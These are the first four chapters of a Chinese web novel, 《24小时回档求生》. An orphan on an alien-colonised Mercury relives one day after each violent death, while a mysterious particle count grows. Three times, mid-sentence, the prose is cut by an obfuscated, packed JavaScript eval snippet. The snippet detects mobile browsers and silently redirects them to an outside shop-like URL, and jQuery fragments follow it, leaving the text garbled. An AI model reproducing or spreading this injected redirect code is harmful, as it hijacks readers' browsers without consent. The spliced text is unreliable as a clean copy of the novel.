《24小时回档求生》 1. 第 1 章 虫族驻水星青州112区,服役报名处。 3月17日,下午五点,办事大厅没什么人,闲得很。 一个青年穿着一件臃肿的夹克,拘谨地走进大厅,左右看看,来到最边上的窗口前:“我、我来报名服役。” 窗口后的虫族员工正用锋利的黑褐色爪尖剔牙,闻言把爪尖重新变成人形手指,不满道:“怎么这么晚来,都要下班了。” 他接过报名表翻了翻,又扫了一下他的身份信息:“王洋,22岁,服役年限0?满18岁就该服役了,最多延迟一年,为什么拖了这么久?” 王洋畏畏缩缩地说:“我,我之前生病了,不是故意拖延的。” “生病?治疗记录呢?不是装病逃脱吧?” 虫族员工嗤笑道:“你这种人我见多了,伟大的洛克亲王给你们水星人一条生路,还允许你们满十八岁再服役,已经无比宽容,但你们永远不知满足,总是耍这些小手段!” 他说着就按下一旁的按钮:“卫兵,把这个狡猾的水星人抓起来,他该被发配到一线战场!” 门口的虫族卫兵立刻朝这边走过来。 王洋慌张不已,忽然眼一狠,一咬牙,猛地拉开夹克。 他身上竟然绑满了自制皮蛋! 他一拉引线,顿时火花滋啦啦,他一脸凶恶地跨过窗口,朝虫族员工扑去:“去死吧!你们这些该死的虫子!你们都死了,南南就不用向你们屈服了!” 轰的一声,火光炸开,人体组织四溅,随后是更加猛烈的连环爆炸,整个报名处陷入一片火海之中。 …… 街角的奶茶店里,两个女孩刚结束一场至关重要的面试,奢侈地点了大杯料满多,幸福地享受着。 “南南,真好啊,我们通过面试了!只要有正式工作,就不用去服役了。” 林叶南挖了一勺黄桃布丁,眯起眼细细品味这丝滑甜蜜的口感,笑着说:“不要掉以轻心,现在只是拿到试用资格,转正之后才能高枕无忧。” 好友吴晴叹了口气,趴在桌上,看着窗外的天空:“不过,听说服役也不是都去危险的地方,有的只是换个星球工作。” 林叶南:“你想去服役?” 吴晴吐吐舌头:“就是说说而已,万一真给弄去什么危险的地方就完蛋了,不过你不好奇其他星球是什么样的吗?” 林叶南也看向窗外的天空,那一小块天空上,正好有一艘飞船的影子,隐匿在云朵之中,像一只俯视大地的眼睛。 那是虫族的飞船。 水星在一百多年前被虫族入侵,水星人殊死抵抗,死了很多人,但最终还是失败了。 水星成为虫族的殖民地,水星人成了虫族的奴隶,过得苦不堪言。 后来,虫族大抵是内部也有些动乱,反正水星被几经易手,直到三十多年前,一个叫洛克的虫族亲王接管了水星。 这个亲王对水星人的政策宽松很多,允许水星人有自己的政权,保留自己的文化,过自己的生活,只不过每个水星人成年后必须为虫族服役五年。 服役地点有的在水星上,有的要去其他星球,去其他星球的人,能活着回来的不足三成。 而想要避免服役,要么证明自己残疾、重病,以重税推延服役,要么就是在虫族经营的公司里得到正式工作。 林叶南今年十八,她从十二岁开始就在为留在水星做准备,努力学习,年年保持成绩第一,提前好几年就在了解虫族喜好、物色公司、分析岗位、收集资料,然后是题海战术,每天练习面试技巧和工作能力。 努力了这么多年,今天终于为自己争取到了一个岗位,虽然目前只是试用期。 她吐出口气,搅动着杯里的坚果料,轻声说:“我对其他星球不好奇,我只想一直这样安稳地活下去。” 留在自己熟悉的环境里,平静地过完这一生,这就是她给自己的人生规划。 忽然,外面一阵喧哗,两人对视一眼,朝店外看去,只见一支虫族卫兵快速从街头冲过来。 他们背后的翅膀展开,坚硬的鳞甲在阳光下散发出暗褐色的危险光芒,脸上也冒出同样的鳞甲,耳朵变得长而薄,牙齿变得锋利而密集,手指也变成了虫族特有的利爪,有的还冒出了布满鳞甲的尾巴和双腿,甚至整个形体都虫化。 这是进入战斗的状态! 一路上水星人避之唯恐不及,惊慌地往两旁躲去。 林叶南震惊地站起来,这是发生了什么? 自那位亲王接管水星后,虫族对水星人的态度日益宽松,留在水星的虫族大多很懒散,以人形态活动,如同度假一般,已经很久没发生过在闹市区完全虫化、杀气腾腾的情况了。 下一刻,轰!奶茶店的门被撞碎,虫族卫兵队就这么冲了进来。 店里的人尖叫四散,林叶南也想躲,但那领头的卫兵已经来到她面前,看看她又看看手环上的三维人像图。 “你就是林叶南!” “是我……” 话音落下,对方一把掐住她的脖子。 虫化的卫兵很高,林叶南被提到了离地半米,剧痛和窒息让她的脸瞬间涨紫:“呃……” 她拼命拍打虫族卫兵坚硬如钢铁的手臂,抠挠着那致密的鳞片,想说出一句询问辩解的话,然而下一刻,咔嚓一声,她听到了自己颈骨断裂的声音。 她的眼睛猛地睁大,不敢置信地瞪着面前这张愤怒狰狞的脸,画面就此黑了下去。 …… 林叶南猛地从床上坐了起来。 她惊恐地摸着自己的脖子。 没有断,还完好,也没有被掐住,呼吸顺畅。 四下看去,狭小拥挤的廉租房,不足一米二的床,这是在自己家、自己的床上,看手机时间,五点四十五。 不是在奶茶店里,也没有什么虫族卫兵。 她大口大口喘息:“是梦……原来是梦……” 可那一切太真实了。 奶茶喝进嘴里的味道,众人恐慌尖叫的声音,虫族扑到面前带来的非人的阴冷血腥味,布满鳞甲的手掌掐住脖子的冰冷触感,以及,颈骨断裂、死亡降临的绝对恐怖感。 真像死了一次一样。 林叶南擦掉满头冷汗,愣愣坐了一会儿,直到六点的闹钟响起,才从床上下来。 如往常一般洗漱,做早饭,一边做饭一边背诵面试题。 她今天有一个很重要的面试,只要通过面试,就能拿到工作。 为了这个工作,她已经努力了很久。 可今天她却频频走神。 因为无论做什么,都有种奇怪的熟悉感,就好像,同样的事情她不久前刚做过一次。 她突然停下来,看着纸上的题目,都是她在网上搜集到的该公司近年的面试题,基本是专业相关的。 她关了火,来到桌边,拿笔写下三道题。 【你对虫族占领水星有什么看法?】 【你认为为虫族工作是对人类的背叛吗?】 【如果有一天,你的工作会对水星人的集体利益造成损害,你会怎么做?】 她看着这三个问题,莫名觉得这就是今天的面试题目。 她拍了拍脑袋:“真是背题背魔怔了。” 虫族打心眼里看不起水星人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412121|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,根本不觉得水星人能掀起什么浪,自然也就不在乎水星人的内心想法,就好像大象不会在乎蚂蚁怎么想的,又怎么会问这种无聊的问题? 她快速吃完早饭,把昨晚熨烫好的,唯一一身体面的工作套装穿好,背上包打开门,正要出去,却被蹲在门口的身影吓了一跳。 “王洋?” 蹲在门口的男人忙站起身:“南南,这么早就要出门了啊?” 林叶南点头:“你怎么在这?” “我买了早饭,给你。”他把拎着的豆浆和包子往林叶南手里递。 这是楼下早餐店买的,是实打实的自然粮做的食物。 自打虫族入侵水星,水星农业遭到毁灭性打击,早些年闹了很久的饥荒,不得不吃虫族工艺制造的人造粮。 近些年农业才渐渐恢复元气,但地里长出来的自然粮依然非常贵,这么一兜豆浆包子的价格,换人造粮的话,能吃三天了。 林叶南哪里能收:“我已经吃过了,你自己吃吧,我赶时间,先走了。” 王洋忙拦她:“南南,别去面试好不好,我们一起去服役吧。” 林叶南一脸莫名:“这个事之前不是说过了吗?我是不会离开水星的。” “我知道你害怕服役,我们可以争取去一个比较和平的星球,满五年之后,就可以申请移民,永远留在那里,现在是星际时代,你不想看看外面的世界吗?” 林叶南看他的目光就特别古怪:“你听谁说,服役还能自己选地点的?” 一旦服役,去哪里,做什么,都要完全听从安排,生死都不由己。 就算侥幸被分配到了一个好地方好岗位,能活着服完役,也不是想移民就移民的。 还出去看外面的世界,更大可能是怎么死的都不知道。 她好言相劝:“人离乡贱,无论什么时候都是这个道理,在其他星球生活,人生地不熟,谁知道会遇到什么事。况且我们只是被殖民星球的土著,出了水星,谁会把我们当人看?” 王洋一脸不服:“在这里,那些虫族就把我们当人了吗?只要我们拿到正式星际公民的身份,就能脱离虫族的控制,在其他星球开始全新的人生!” 林叶南:“……”真是说不通! 水星人在故土上尚且要哈腰俯首,凭什么觉得,去了外头,面对更多星际种族、更复杂的局面,就要人权有人权,要好日子有好日子了? 太天真了。 林叶南不愿再拉扯下去:“你要坚持这么想,就朝这个方向努力吧,我祝你成功。” 她紧了紧背包,绕开王洋就要下楼,王洋一把抓住她的手臂:“你就这么想给虫族当狗吗!” 林叶南猛地瞪回去:“你说什么?” 汪洋慌忙松开她,语无伦次地解释:“我不是这个意思,我是说,你给他们工作,就要工作一辈子,不如拼一把,用服役五年换未来的自由。你这么聪明,这么努力,难道就是为了给虫族服务到死吗?你忘了百年血仇……” “闭嘴!”林叶南连忙左右看看,确定没人听到这句话,她脸色完全冷了下来,后退好几步拉开距离,“我们只是邻居,我怎么想怎么做,跟你没有关系,同样的,你想死也别连累我!” 说完,她转身就走。 汪洋追了两步,眼睁睁看着她走远。 他攥紧落空的手,失魂落魄地站着:“为什么就是不相信我?为什么一定要跪舔虫族?我为了你拖延了三年,就是等着和你一起离开。” “不,不,你是被逼的,是虫族逼你,是这个该死的世道逼你!” 他咬紧牙根,像下定了某种决心。 2. 第 2 章 林叶南从楼里跑出来,见王洋没有追出来,松了口气。 她两年前从孤儿院搬出来,住到这里,才认识的王洋,他住自己楼上,平时也就是普通邻居的关系,主要是王洋来找她比较多,尤其最近,话里话外都是让她和他一起去服役。 她不想得罪邻居,一次次委婉拒绝,没想到他今天突然抽风。 刚才他那话,要是被虫族听去,或者被别人听到去举报,要惹大麻烦的。 路边一辆虫族无人巡逻车经过,她侧过身去理了理头发,又看了看几乎无处不在的摄像头和天上的飞船,抬脚朝车站走去。 早上八点半,洛克永恒辉山矿业青州分公司。 林叶南和好友吴晴来到公司门口,抬头看着这宏伟的建筑。 这是虫族在水星上众多公司之一。 称作公司,只是为了符合水星人的语境,其本质上是虫族设立在水星的挖掘资源、吸血的机构。 这些年,虫族不断在水星上开矿,挖掘各种资源:能源、水气、金属、非金属,然后通过一艘艘飞船运走。 这辉山矿业就是其中之一,主要负责金属矿产,单这个分公司名下的矿山和矿区,就遍布整个青州。 收回目光,她对吴晴说:“进去吧。” 因为还没有到公司正常上班的时候,门口没有虫族,只有两个机器人站岗,它们用机械臂上的仪器扫了一下两人左耳后面,那里皮肤下是自出生起就被注入的芯片。 身份信息立刻弹出。 “林叶南,18岁,预约面试者,可以通行。” “吴晴,18岁,预约面试者,可以通行。” 进入公司,来到面试处,和她们一样来面试的人有很多,面试厅外面满是人,都是十七八九岁模样,各自拿着资料,争分夺秒地背诵着。 这里巡逻的机器人、摄像头更多,时刻捕捉着大家的一举一动。 谁都不敢做出任何不规矩的举动,连厕所都能不去就不去。 到九点,虫族上班,大家开始取号,林叶南拿到的是31号,吴晴则是304号。 “天哪,我怎么这么靠后!轮到我都得下午了,不会前面招够人就不要我了吧?”吴晴拉着林叶南,十分忐忑。 林叶南安慰她:“别担心,我先给你打头阵,等我出来我帮你准备。” 说话间第一个面试者已经进去了,但没一分钟就出来了,一脸快哭了的样子:“我完了,我要去准备服役了!” 其他人围上去:“怎么回事?” “不知道啊,一进去就眼前一黑,等我反应过来,就说我落选了。” 其他人面面相觑,这是个什么情况? 气氛越发凝重,每个人进去出来都很快,没一会儿就轮到了林叶南。 “南南,加油!”林叶南跟吴晴握拳打气,深吸口气朝面试厅走去。 “我准备了六年……我笔试进了前十的……模拟面试我练了大半年……加油!正常发挥……” 她在脑海里不断给自己鼓劲,面上一派平静,扬起一个笑容,推门走了进去:“各位面试老师……” 她的话语戛然而止,因为一根湿滑的触手啪一下甩了过来,抽在她脑门上,但她并没有被抽倒,那根触手直接穿过了她的额头,刺入了她的大脑。 她呆滞地站立着,双眼大瞪,瞳孔震颤。 她的面前,一只硕大的章鱼在地上瘫成一堆,数条触手乱舞,其中一条正刺入她的大脑。 虫、虫族? 不对,虫族是覆甲类生物,身上都有坚硬鳞甲,眼前这个章鱼却全身软趴趴,应该是另一种星际种族。 但虫族公司的面试厅里为什么会有别的种族? 她想要转头去看面试官,但脖子完全无法转动,身体僵直,连眼皮都无法眨动。 她听到一个嫌弃的声音从面试桌后面传来:“艾拉拉,你够了,每一个人进来都要测一下,累不累?” 艾拉拉,也就是面前这个大章鱼蠕动了一下,发出沉闷黏腻的声音:“我这不是帮你们选有潜力的人嘛?” 面试桌后的人嗤笑一声:“潜力?这些寿命只有几十年,没有进化出一点攻击器官,浑身上下就牙齿最硬的人族能有什么潜力?我要的是干活的耗材,不是需要精心培养的继承者。” “就算是耗材,也要选品质更高的耗材啊,你别吵!” 林叶南感觉到那条触手在自己脑海里搅动,似乎在寻找什么,剧烈的眩晕感伴随着恶心涌上来,她视线瞬间扭曲起来,全身的神经都在尖叫战栗。 “……咦,这个人体内的维塔粒子达到了16.12,这个可以!” 面试桌后的人不以为然:“16.12也算高?” 艾拉拉:“比起前面那些,已经不错了。” “……行,就这个了。” 大章鱼猛地把触手收了回去,林叶南被带得整个人往前闪了下,扑倒在地,哇地吐了出来,脑子仿佛成了一团浆糊。 室内诡异地安静下来。 紧接着,这个大章鱼大声尖叫:“她怎么会有这种反应?” 林叶南抬头看着这个庞大得几乎能挤满整个面试厅的家伙,扭曲的视野里,它就像一坨粉色又黏糊的屎,看得她越发眼晕。 “呕~” 大章鱼叫得更凄厉:“她能看到我!她居然能看到我!” 触手挥舞得更加起劲,其中一条重重地拍了下来。 …… “啊!” 林叶南一个激灵醒过来,大口喘息了半天,视线渐渐聚焦,发现自己竟然躺在自己的床上。 她满头大汗,坐起来,捂着砰砰狂跳的心脏,又摸了摸额头,光滑的、完整的额头,她冲进卫生间,对着镜子左照右照,没有任何伤口。 “噩、噩梦?是做梦?” 可那章鱼触手拍下来的触感是那么清晰,她觉得自己应该是活活被拍成烂泥而死的。 而且,这会儿还觉得晕乎乎的。 她撑着洗手台缓了好一会儿,打开水龙头不断往脸上泼水,终于渐渐冷静下来。 她恹恹地回到床边坐着:“这到底是怎么回事?” 她看着窗外亮起的天光,努力回忆梦中的一切。 好像先是做梦梦到被虫族掐死,然后惊醒,然后去面试,在面试厅里被一个章鱼抽扁,然后又惊醒。 这是梦中梦? 她低头看着自己的手,使劲掐了自己一把,疼得直抽气。 这么疼,这次是真的醒了吧。 她双手捂脸,深深叹了口气,看来自己的承受能力比自己想象的要弱很多,就一个面试而已,竟然她压力大到反复做噩梦。 六点半的闹钟响了,她起身洗漱,做早饭,一边做饭一边背诵面试题。 背着背着越发觉得这一切很熟悉。 她心不在焉地草草吃了饭,刚一出门就被蹲在门口的身影吓了一跳。 那身影赶紧站起来:“南南,这么早就要出门了啊?” 林叶南:“……” 王洋见她盯着自己不说话,被看得有些紧张,忙把手里拎着的豆浆和包子递过来:“我买了早饭,给你。” 林叶南看着那豆浆和包子,一杯豆浆,两个包子,其中包子袋口扎着。 和梦里见过的一模一样! 她是做梦,又不是预知,怎么会分毫不差? 她喉咙发紧,试探着说出了梦里说过的话:“我已经吃过了,你自己吃吧,我赶时间,就先走了。” 王洋忙说:“南南,别去面试好不好,我们一起去服役吧。” 林叶南倒抽一口气,王洋的回答依然和梦里一模一样。 她紧紧盯着王洋的表情和嘴巴:“这个事之前不是说过了吗?我是不会离开水星的。” “我知道你害怕服役,我们可以争取去一个比较和平的星球……”王洋又巴拉巴拉说了一堆林叶南听过的话,表情、眼神、动作、嘴型,分毫不差。 那一刻,林叶南汗毛倒竖,明明是阳光明媚的清晨,却感觉有一股寒气从脚底窜起。 见鬼了!真的是见鬼了! 这一刻,王洋在她眼中,简直成了一个森然可怖的厉鬼。 她按捺住拔腿就跑的冲动,不动声色地应付着王洋,不等他质问什么当狗的话,迅速绕开他下楼,直到走出好远,沐浴在阳光下,身边人来人往后,才长出一口气。 这到底怎么回事? 她使劲掐自己的大腿,还是疼的,非常疼,这不可能是做梦吧? 难道是她莫名得到了做预知梦的能力,梦里梦到的都是将来会发生的事情? 她打了个寒颤,那岂不是说她在不久之后会被一个章鱼拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412122|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扁? 她站在路边,踌躇不前,不知道该不该去面试了。 把梦境里的事情从头到尾想了一遍,她忽然抓住个关键词。 维塔粒子! 那个章鱼说她体内的维塔粒子达到了16.12。 这又是什么东西? 她在手机上搜索【维塔粒子】这个词,却是一无所获。 “难道是虫族那边的特殊词汇?” 这时手机响了,是吴晴:“南南,你出门了没,我已经到车站了。” 林叶南迟疑了一下,梦中,在她前面的面试者应该都遭到了那个大章鱼探查,这应该是每个面试者的待遇,自己不去固然能逃过一劫,但她要怎么劝吴晴也别去? 而且,其他面试者都好好地出来了,只有自己被大章鱼拍死,总有个缘故吧。 不搞清楚这一切,她实在放不下。 她道:“我马上就到。” 十分钟后,车站,她和吴晴会合,一起等车,从这里到辉山矿业的公司大楼,需要坐大巴,近一个小时车程。 吴晴兴奋又忐忑:“不知道能不能面上,我好紧张啊,不知道人多不多。” 林叶南心里默默说,人很多,你会抽到304号,要排到下午去了。 她打起精神和吴晴说话,说的都是梦中说过的话,吴晴的反应回答也和梦中一般无二。 林叶南再无一丝侥幸。 车上,她看着窗外过去的街景,诧异地发现,她的视力和记忆力好像都好了很多,很远地方的文字都能看得非常清楚,店铺招牌上的联系号码,只要一眼,就跟牢牢印在脑海里一样。 她:“……” 喝口水压压惊,妈耶,她真的好像有什么奇遇。 到公司,九点,抽号,林叶南果然还是31号,吴晴也还是304号。 吴晴:“天哪,我怎么这么靠后!” 吴晴小声哀嚎着,转头一看,好友神色肃穆得好像要上战场,她赶紧安慰:“你别紧张,你这个也不算特别早,放宽心……” 林叶南点了点头,眼睛紧紧盯着面试厅的门。 1号进去了,1号出来了。 1号哭丧着脸:“一进去就眼前一黑……” 2号进去了,2号出来了。 2号一脸茫然:“眼前一黑,然后就让我出来了……面试题?没问啊。” 3号进去了,3号出来了。 3号也摸不着头脑:“我也是眼前黑了下,然后就告诉我结束了。” 林叶南看着,听着,也跟其他人一样假装紧张地凑上去打听消息,然后她基本确定了,每个人进去都会眼前一黑,黑完就让出来了。 她皱眉,这到底什么情况? 不过无一例外的是,他们都不记得眼前一黑的过程中发生了什么,甚至连黑了多久都不知道。 就好像,有人剥夺了这段时间他们的记忆。 她回想着梦中的情形,根据大章鱼的尖叫,正常人应该是看不到它,且在被触手搅脑浆之后,也没有任何不适反应的。 那为什么只有自己看得到它,且恶心得那么厉害? “31号林叶南!” “到你了南南!”吴晴双手握拳,“加油加油加油!” 林叶南心跳快得厉害,深呼吸两次,站起身来,一步步走向面试厅,做足了心里建设后,推开门。 “各位面试老师……” 话语戛然而止,如情景重现一般,一根湿滑的触手甩了过来,稳稳刺入她的脑海。 林叶南僵直站立,双眼仿佛生理性睁大,却没有焦距,就那么对着前方,好像什么都没有看,实则正在努力将映入眼中的一切都记下来。 她的前方,一只粉灰色的硕大章鱼瘫成一堆,身上的粘液亮莹莹的,有点像一坨猪大肠。 一条触手扒在墙上,吸盘牢牢吸附着,一条触手在天花板上蠕动,一条触手在空中摇来摆去,还有一条触手扒过去咯吱面试桌后的两个面试官,被嫌弃地推开:“艾拉拉,你够了,每一个人进来都要测一下,累不累?” 艾拉拉不服:“我这不是帮你们选有潜力的人嘛……咦?这个人……” 面试官抬头:“这个人怎么了?” 大章鱼发出惊呼:“这个人体内的维塔粒子达到了19.34哎!比前一个高了快一倍!” 3. 第 3 章 19.34! 林叶南心中震动,瞳孔微颤。 梦中不是16.12吗?是她记错了吗? 其他都记得,怎么会偏偏这个重要又特别的数值记错? 其他都对得上,怎么独独就这个数据对不上? 林叶南几乎是瞬间就意识到,这个数据的差别,可能就是她为什么会有这一番奇怪境遇的关键。 她竖起耳朵,想听他们会说些什么。 听到这个数值,那两个面试官似乎也略有惊讶:“19多?” 艾拉拉把触手又使劲搅了搅,像是在确认什么:“没错!就是19.34!我就说这样能找到有潜力的人吧,还不快谢谢我!” 这一搅,林叶南的头晕恶心程度瞬间翻倍,眼前耳边全部模糊了,仿佛整个意识被轰然碾碎。 她什么都听不到了,只能感觉到大章鱼把触手收了回去。 她失去支撑,重重跌倒,整个世界翻天覆地,下一刻,她听到那个大章鱼尖叫着什么,触手带着劲风呼啸劈下! …… 唰! 林叶南猛地睁开眼睛,翻身抓过床边的垃圾桶,哇的一下就吐了出来。 “呕!咳咳咳!” 好半天,吐到什么都吐不出来了,那股恶心的劲依然没有减轻多少,她跌跌撞撞走进厕所,拧开花洒,把整个脑袋都塞到冰冷的水流里。 好疼! 头好疼!好晕!好重! 小小的空间里,一时间只剩下哗哗的水流声和她沉重的喘息声。 不知道过了多久,手机响个不停,她才终于渐渐缓过来,扶着墙站起来,看向镜子里的自己,两眼通红,脸色惨白,头发湿淋淋地覆盖在脸上,跟鬼一样。 她头重脚轻地晃出来,拿起床上的手机,是闹钟,从六点整一直反复响到了现在六点二十。 关掉闹钟,她确认了一下日期,3月17日。 她果然又回到了几个小时前! “所以,是死亡之后就会回到早上吗?” 之前根本不是什么梦中梦,而是一次死亡回档! 她已经陷在这个循环里,经历了不止一次死亡! 除了她,其他人都没有对此相关的记忆。 她抓着纠结成一团的湿发:“面试,大章鱼,维塔粒子,死亡循环……啊,这到底在搞什么!” 她手机搜索维塔粒子、死亡循环、回档之类的关键词,前者依然搜不到任何信息,后两者倒是找出来一堆科幻玄幻小说。 她皱眉对着自己的脑袋摸来摸去,没有任何外伤,这会儿也不大难受了。 但她知道,自己的脑海里有一种维塔粒子,粒子数值越高,代表潜力越大。 她的数值从16.12,涨到了19.34,这意味着自己的潜力变大了? 可她什么都没做啊。 不对,在这两次数值之间,她死了一次。 她看向书桌,忽然发现有一只蚂蚁在桌面上爬着,每一根细小的脚她都看得一清二楚。 她蹭地冲到窗边,看向外面,世界如此清晰,路上的行人衣服上的污渍,街头路灯灯罩上的裂纹、千米之外迎风招展的“洛克永恒”的虫族旗帜上抽丝的一根细线…… 全部分毫毕现。 她闭上眼睛,深深吸了一口。 清晨的露水气息、远处的车尾气、楼下各种早餐店飘散出来的人造粮和自然粮的不同香气,还有……一股浓烈的酸臭味! 她差点被熏吐,转头一看,是垃圾桶里她刚吐出来的秽物。 捏着鼻子把垃圾袋给收拾了,又把身上的湿衣服换了,这个过程中,她发现触觉也灵敏了很多,比如之前觉得不错的衣服,现在一上手就觉得非常粗糙。 她原地思索起来。 她的视觉嗅觉触觉都变强了,这实打实的变化是最有力的证据,她体内那什么维塔粒子确实在上涨,这一切都不是梦。 “不对,这些还不够,我还需要更多佐证。” 她抓起手机钱包出去。 听到开门声,王洋站起来:“南南!你……” 这次,林叶南根本没给他开口的机会,绕开他快速奔下楼,招了一辆车。 十分钟后,她来到一家诊所前,上去哐哐哐把门拍得震天响。 片刻后,一个头发如同鸡窝的青年睡眼惺忪衣衫不整地出来开门:“谁啊,大清早的……小叶南啊。” 看到是林叶南,他收起脸上的不耐烦:“什么事这么急,我这还没到开门时间呢。” 林叶南打断他说:“钟医生,我要做颅内扫描、全身扫描和全方位生化体检。” 青年,也就是这个诊所的老板钟震上下看看林叶南:“你哪里不舒服?去医院啊,我这里的仪器哪里比得上医院。” “医院要预约排队,太慢了,我要最快出结果的那种!你不是刚从虫族那里弄到了一台医用扫描仪吗?” “那机子是给虫族用的,那射线能穿透它们的鳞甲,你知道开一次辐射多大吗?” “辐射不是问题!” 如果她会再死再回档,一点辐射算什么? 钟震彻底语塞,再三确认她没开玩笑:“……行,但事先说好了,我这机器开一次很贵的。” “……钱也不是问题。” 半个小时后,全套结果出来,钟震先看生化指标,惊讶道:“上次还有点营养不良,这次各项指标都健康得不能再健康,最近吃什么好东西了?” 林叶南抿了抿唇,她最近什么好的也没吃,唯一的解释就是,维塔粒子升高,让她的体质变好了。 钟震继续看扫描结果,面色逐渐严肃,指着颅内一个高信号点:“这个亮点有点可疑,有可能是钙化灶,一般来说,生理性钙化灶是老年人才会有的,并不影响什么,像你这么年轻,更可能是出血或外伤遗留的钙化灶。你有过脑外伤史吗?最近有什么症状?” 林叶南盯着那个芝麻大小的白色亮点,莫名觉得,这不是什么钙化灶,而是跟维塔粒子有关。 因为那个区域,好像就是大章鱼触手触及的地方。 她看了看钟震,她和钟震来自同一家孤儿院,孤儿院里都是大孩子带小孩子,钟震大她许多,小时候带过她一段时间,不过钟震去外地上学后,两人就没再见过面了。 直到对方在这里开诊所,两人相认后,因为那份香火情,他们保持了友好关系。 她对钟震了解不多,只知道他是在虫族开办的医学院读出来的,后来到了服役年纪,自然进入了虫族的什么研究院,服役结束后就开了这么一家诊所。 她不由问:“钟医生,你知道维塔粒子吗?” “维塔粒子?你怎么知道这个?”钟震眸光一闪,比起困惑,更多的是惊讶。 林叶南顿时看到希望:“偶然听说的,你知道这个?” “这……这不是你该知道的。” 林叶南双手合十:“求求你了,我真的很想知道这是什么东西,我保证不说出去。” 她装得可怜兮兮的,因为业务不熟练, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412123|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情不大自然,钟震像是被求得没法,只能低声说:“我读书的时候,听一位虫族老师提到过,维塔粒子是所有星际生物体内都会有的一种粒子,是从虫族语的‘维塔利斯’音译过来的,意思是生命本源,这个粒子数值越高,意味着生命本源越强,个体未来的潜能越大。” 林叶南忙问:“我们水星人体内也有?” 钟震点头:“有啊,不过数值很低,平均值在10左右,低得等于没有。” “那虫族的均值是多少?” 钟震想了想:“普通虫族是大几百,高等虫族的话,四位数起步吧。” 林叶南:“……” 这差距也太夸张了,难怪那虫族面试官语气那么不屑。 她问:“这个数值会变化吗?” “一般不会,但好像有某种基因技术,可以在胚胎时期,修改一个人的基因,使其维塔粒子能够在后天提高。” 他说着,意味深长地看了林叶南一眼:“那个虫族老师也就是提了一嘴,像这种知识,虫族对水星人是完全封锁的,他后来就没再说过。” 林叶南没有注意到钟震的表情,心中一沉,难道她的基因被修改过?她确实不知道自己的父母是谁,但说什么基因被修改过,有点扯吧。 人类会有这种技术吗? 如果是虫族干的,她这种实验体不该被关在实验室里吗? 而且,什么基因技术能弄出个回档能力? 她按下纷乱的思绪:“维塔粒子高,就意味着个体越强大吗?” 钟震:“生命本源强大、潜力高,不代表实力就强,就像一个人天资卓越,但后天不努力,也会泯然众人。” 林叶南点点头,心里却说,可天资是最重要的基础,就像虫族,三四位数的维塔粒子值,它们便是出生之后当废物一样养着,对上人类,也是轻松碾压。 钟震问:“我知道的都说了,你能告诉我,是从哪听说维塔粒子的吗?” 林叶南干笑一声:“今天谢谢你了,这些报告我就拿走了。” 说完跑得比兔子还快。 钟震作势去追,走到门口无奈摇头,又转身回来,但转身后,他脸上的笑容立刻消失,鼠标在屏幕上点了几下,一个新的页面出现。 他把一些数值放入模型,很快,计算结果显示:维塔粒子数值约22。 他从一个秘密文件夹里调出一个文档,打开,里面是林叶南的档案,而上面记录着,维塔粒子数值为12.86。 他双手搭在下巴处,看着这两个数值,勾起嘴角:“这颗沉睡的种子,终于发芽了。” …… 因为在诊所耽误了点时间,林叶南这次没有去车站和吴晴会合,而是直接打车去辉山矿业。 吴晴已经进公司了,对林叶南招手:“南南,快来,要抽号了。” 林叶南走过去,这次拿到的依然是31号。 看来系统里已经排好号了。 她平静地等待着,平静地被叫号,平静地走进面试厅,然后,再一次被触手扑脸。 大章鱼:“哇!这个人体内的维塔粒子达到了22.45哎!” 这一刻,林叶南心里只有一个声音:“果然!” 大章鱼激动地抽走触手,林叶南想稳住自己的身形的,想装得很淡定的,但身体完全控制不了,再一次扑倒在地。 大章鱼:“啊啊啊!她能碰到我!” 啪!触手再次甩下来。 …… 林叶南又一次从床上醒来。 4. 第 4 章 不到六点的室内,光线还比较昏暗,林叶南沉默地坐在床上,有些急促地低低喘息着。 脑海里是被触手搅动过残留的眩晕,不过远没有上次严重,好像她已经有点适应了。 她拿起手机看了眼,3月17日,五点四十五,依然是这个时间点。 把即将响起的闹钟关掉,她赤脚下地,来到桌前,打开台灯,在纸上写下三个数字。 16.12 19.34 22.45 如她猜测的那样,每一次死亡,就会让她体内的维塔粒子提高3个多点。 这是她的第三次回档了……不对。 她仔细回想,在16.12那次的早上,她也是从噩梦中醒来,当时“梦”里的细节,她已经忘了,只依稀记得自己好像是被什么人掐死的。 不是被章鱼拍死的吗? 她揉了揉额头,在16.12前写了个“13”,后面打了个问号。 也就是说,今天应该是她第四次回档了。 为什么死亡会让维塔粒子提高? 为什么死后会回档? 这个回档的次数是不是无限的? 回档前的死亡方式有没有要求,如果她避开大章鱼,是不是就能走出循环? 